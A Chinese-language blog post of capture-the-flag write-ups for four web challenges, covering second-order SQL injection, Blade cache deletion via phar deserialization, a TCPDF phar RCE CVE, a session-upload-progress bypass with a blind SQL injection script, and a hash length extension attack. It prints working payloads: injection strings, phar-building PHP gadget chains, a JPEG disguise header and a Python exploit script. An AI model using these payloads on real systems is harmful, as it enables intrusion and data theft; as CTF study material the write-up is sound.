• BUUCTF知识记录(3)


    [护网杯 2018]easy_laravel

    考点:二次注入、blade模板缓存、phar

    源码在这:
    https://github.com/CTFTraining/huwangbei_2018_easy_laravel
    结构如下:
    在这里插入图片描述
    这里给了一个composer.json,需要composer install下载其他组件,但是我这里一直装不上,换源也没用,只能看wp的源码了(云做题)
    在这里插入图片描述
    首先在route/web.php中定义了路由:
    在这里插入图片描述
    然后去看controller的时候会发现除了note,其他都需要admin权限:
    例如app/http/controllers/flagcontroller
    在这里插入图片描述
    那么思路就是先成为admin,从app/http/controllers/notecontroller入手
    在这里插入图片描述
    看到这里对username有一个查询,容易联想到二次注入,并且registercontroller除了长度限制了其他没有过滤:
    app/http/controllers/auth/registercontroller
    在这里插入图片描述
    看一下users表结构:
    在这里插入图片描述
    如注册一个:

    admin' union select 1,(select password from users limit 0,1),3,4,5 and '1
    

    在这里插入图片描述
    但是这个密码是被bcrypt加密的:
    在这里插入图片描述
    所以得找其他方法,注意到还有其他表结构:
    在这里插入图片描述
    有一个reset,看看:
    在这里插入图片描述
    resetpassword的路由为:/password/reset/{token}
    在这里插入图片描述
    所以我们只要直到email和token即可,email这里是固定的:
    在这里插入图片描述
    token可以在password_resets表中注出来:

    admin' union select 1,(select token from password_resets where email='admin@qvq.im'),3,4,5 and '1
    

    这里不知道什么原因,不能用group_concat或limit,只能指定email才能注出token
    在这里插入图片描述
    拿到token改密码,成为admin,但是访问flag路由居然显示是no flag
    在这里插入图片描述
    这与php文件不符
    在这里插入图片描述
    问题就处在这个view上,laravel默认用的是blade模板引擎:

    Blade 是 Laravel 提供的一个简单而又强大的模板引擎。和其他流行的 PHP 模板引擎不同,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何负担。Blade 视图文件使用 .blade.php 作为文件扩展名,被存放在 resources/views 目录。缓存文件放在storage/framework/views下

    我的理解是laravel使用blade模板引擎,首先将php传过来的参数渲染到视图,然后视图又编译成php代码的缓存文件存到相应路径下,以便使用

    那么很有可能是旧的缓存文件依然存在,使模板渲染时被覆盖,那么就需要尝试删除这个缓存文件

    我们还有uploadcontroller没用:
    在这里插入图片描述
    这里的上传的所有文件都会被写到$this->path目录下,也就是app/public,我们无法访问
    在这里插入图片描述
    所以webshell是不可能的了,但是check这里有一个file_exists,并且两个参数都可控,可以用phar://
    在这里插入图片描述
    下面是一些可以用phar://的函数(来源于seebug)
    在这里插入图片描述
    然后就是找利用链了,没源码我直接截wp的图了:
    在这里插入图片描述
    这里有unlink,不过要知道缓存文件的路径:
    在这里插入图片描述
    这个path就是视图文件的路径,为:
    /var/www/html/resources/views/auth/flag.blade.php
    sha1加密得到完整的缓存文件路径:
    /var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php
    exp:

    <?php
    class Swift_ByteStream_AbstractFilterableInputStream {}
    class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
        private $_path;
        public function __construct($path, $writable = false)
        {
            $this->_path = $path;
            $this->_mode = $writable ? 'w+b' : 'rb';
        
            if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
                $this->_quotes = true;
            }
        }
        public function getPath()
        {
            return $this->_path;
        }
    }
    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
        public function __construct() {
            $filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";
            parent::__construct($filePath, true);
        }
        public function __destruct() {
            if (file_exists($this->getPath())) {
                @unlink($this->getPath());
            }
        }
    }
    $obj = new Swift_ByteStream_TemporaryFileByteStream();
    $p = new Phar('phar.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($obj);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
    rename('phar.phar', '233.jpg');
    ?>
    

    在files页面check触发调用链:
    在这里插入图片描述
    加上路径:path=phar:///var/www/html/storage/app/public
    在这里插入图片描述
    在这里插入图片描述

    [cccCTF2019]PDFCreatorCC

    考点:CVE-2018-17057 https://www.anquanke.com/vul/id/1313773
    在这里插入图片描述
    首页是一个img转pdf的东西,不看wp还真不知道这个点,而且题目原来有源码的...:
    https://github.com/CTFTraining/ccc_2019_web_pdfcreator
    得到这样一个结构:
    在这里插入图片描述
    看一下TCPDF/tcpdf.php,得知版本为6.2.13,恰好符号这个cve
    在这里插入图片描述
    然后呢这个cve的主要意思就是在转化成pdf的过程中,会接受html,如果构造一个恶意的phar上传,然后html中只要用href=phar://...就能触发phar,达到rce

    在creator.php找到PDFStuffPDFCreator::__destruct有一个文件读取
    在这里插入图片描述
    而index.php中恰好就初始化了这个类:
    在这里插入图片描述
    先传张图片看看流程:
    在这里插入图片描述
    上传之后允许我们写html,生成的pdf不用管它,了解流程之后,构造:

    推荐把creator.php直接放到同一目录然后包含,这样就省的弄命名空间什么的了

    <?php
    include "creator.php";
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->addFromString("test.txt","test");
    $phar->setStub(" __HALT_COMPILER(); ?>");
    $o = new PDFStuffPDFCreator();
    $o->tmpfile = "/etc/passwd";
    $phar->setMetadata($o);
    $phar->stopBuffering();
    rename('phar.phar','x.jpg');
    

    生成jpg上传,改html为img类型,href=phar

    <img src="phar://./upload/c4ca4238a0b923820dcc509a6f75849b.jpg" width="10" height="10">
    

    在这里插入图片描述
    读到/etc/passwd
    在这里插入图片描述
    这里有个小坑是这个是nginx服务器,所以先看一下网站目录,读/etc/nginx/nginx.conf会发现网站路径为:/var/www/site
    然后读flag.php即可:
    在这里插入图片描述
    然后补一下phar伪装成图片的方法,在__HALT_COMPILER()前面加上:

    $jpeg_header_size = 
    "xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13".
    "x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02".
    "x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15".
    "x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14".
    "x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01".
    "xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03".
    "x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11".
    "x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20".
    "xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01".
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00".
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda".
    "x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9";
    

    [PwnThyBytes 2019]Baby_SQL

    考点:PHP_SESSION_UPLOAD_PROGRESS
    source.zip获得源码,index.php有全局转义:
    在这里插入图片描述
    而且编码不是gbk的,这样几乎无解,但是在tmplates/login.php下没有转义,但是如果没有session初始化就会die掉
    在这里插入图片描述
    然后php.ini中有一些关于session的配置:
    若session.auto_start=on,就会自动session初始化,但是默认是off的
    还有一个:PHP_SESSION_UPLOAD_PROGRESS是默认开启的,看一下官方文档
    在这里插入图片描述
    这个是用来检测文件上传进度的,如果同时上传一个文件,并且POST一个同名变量PHP_SESSION_UPLOAD_PROGRESS,那么就会在_SESSION中获取上传进度,本地看一下:
    1.php为一个空页面,没有开启session_start()
    在这里插入图片描述
    当我自定义一个PHPSESSID时刷新一下,并没有生成session文件
    在这里插入图片描述

    import requests
    
    url='http://127.0.0.1/test/1.php'
    files={'file':123}
    re=requests.post(url,files=files,data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},cookies={"PHPSESSID": "test1"})
    

    跑一下,此时生成了test1的session文件
    在这里插入图片描述
    截一个orange师傅的图:
    在这里插入图片描述
    那么就可以绕过检测来注入了,布尔盲注:

    import requests
    text = ""
    for i in range(1, 64):
        l = 28
        h = 126
        while abs(h - l) > 1:
            m = (l + h) / 2
            param='?username=admin"or if((ascii(mid((select secret from flag_tbl),{},1))>{}),1,0)%23&password=123'.format(i,m)
            re = requests.post(url+param, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS":123},
                              cookies={"PHPSESSID": "1db7fdaa6042480e2184fddd7e108bc5"})
            #print(re.text)
            if 'again'not in re.text:
                l = m
            else:
                h = m
        text += chr(int(h))
        print(text)
    

    [SWPUCTF 2016]Web blogsys

    考点:反序列化、sql注入
    源码:https://github.com/CTFTraining/swpuctf_2016_web_blogsys
    结构如下
    在这里插入图片描述

    api.php 有admin类,首先判断是否登陆,如果没有则反序列化
    common.php 一些方法,全局转义,随机生成salt
    forget.php 忘记密码,如果数据库中有该用户就跳转到repass
    guestbook.php 写评论的,但是加了htmlspecialchars过滤
    index.php 登陆、注册
    repass.php 各种信息验证,通过就改密码
    riji.php 显示评论

    首先要知道common.php中有变量覆盖的漏洞,但是这是这是在开头引入的,即使一开始覆盖后面还是会被赋值
    在这里插入图片描述
    还加了转义,所以有单引号的查询基本上都不能注入,但是在riji.php处找到了一个数字型查询:
    在这里插入图片描述
    而这个id参数来自同文件下的userid
    在这里插入图片描述
    可以看到这个userid是从数据库查询的结果中得来的,那咋办,看了wp后觉得思路是真的6

    首先观察一些api.php:
    在这里插入图片描述
    只有三个方法,check,delmsg,deluser
    那么如果注册一个账号登陆,然后用反序列化去删除该用户,那么数据库查询结果不就为空了?空了之后userid不再被赋值,就能用变量覆盖直接注入了

    那么首先就要去构造反序列化:
    在这里插入图片描述
    首先会判断登陆,所以为了删除之后依然保持登陆状态,我们要另开一个浏览器反序列化
    在这里插入图片描述
    然后进入domethod,判断check==1
    在这里插入图片描述
    这里最关键的就是这个判断
    if ($this->check === md5($result['salt'] . $this->data . $username))
    很显然,hash拓展攻击,但首先要知道md5值,在forget.php会有跳转,其中就包含了md5值
    在这里插入图片描述
    在这里插入图片描述
    base64得到md5值ab4d22925d268dd6937e41edbe81e97e
    然后这里需要说一下,hashpump这个工具,必须要指定四个参数:
    md5 data length 添加的data
    而我们这里得到的为:
    md5(salt); //ab4d22925d268dd6937e41edbe81e97e
    给定格式是:
    md5($result['salt'] . $this->data . $username)
    其中username=admin,所以$this->data前面并无任何数据(除了salt),那么hashpump必要的data参数就没得了,所以这里换一个工具:
    https://github.com/JoyChou93/md5-extension-attack
    格式为:md5 添加的数据 密钥长度,由于data后面被拼接了一个admin,所以添加数据也选为admin,同理在使用时要把admin去掉
    在这里插入图片描述
    然后看一下del_user(),以userid删除用户
    在这里插入图片描述
    登陆以后在index.php中会被写入cookie
    在这里插入图片描述
    在这里插入图片描述
    得到userid=2
    exp:

    <?php 
    class admin{
        var $name = "admin";
        var $check= "6122c04e8a1f3529d556199960ef2556";
        var $data = "x80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x80x00x00x00x00x00x00x00";
        var $method="del_user";   //要调用的函数  
        var $userid=2;  //要删除的用户  
    }
    $a = new admin(); 
    $api = base64_encode(serialize($a));
    echo $api;
    

    换个浏览器反序列化
    在这里插入图片描述
    此时就可以注入了:-1 union select 1,2,(select flag from flag)
    在这里插入图片描述

  • 相关阅读:
    Linux filesystem
    centos 下 gradle 编译打包 apk
    python SSL 错误
    nginx 缓存配置
    nginx 反向代理配置
    redhat 网卡绑定
    磁盘阵列
    Centos 安装Django2.1
    python pyquery 基本用法
    python 爬虫之-- 正则表达式
  • 原文地址:https://www.cnblogs.com/W4nder/p/12643552.html
Copyright © 2020-2023  润新知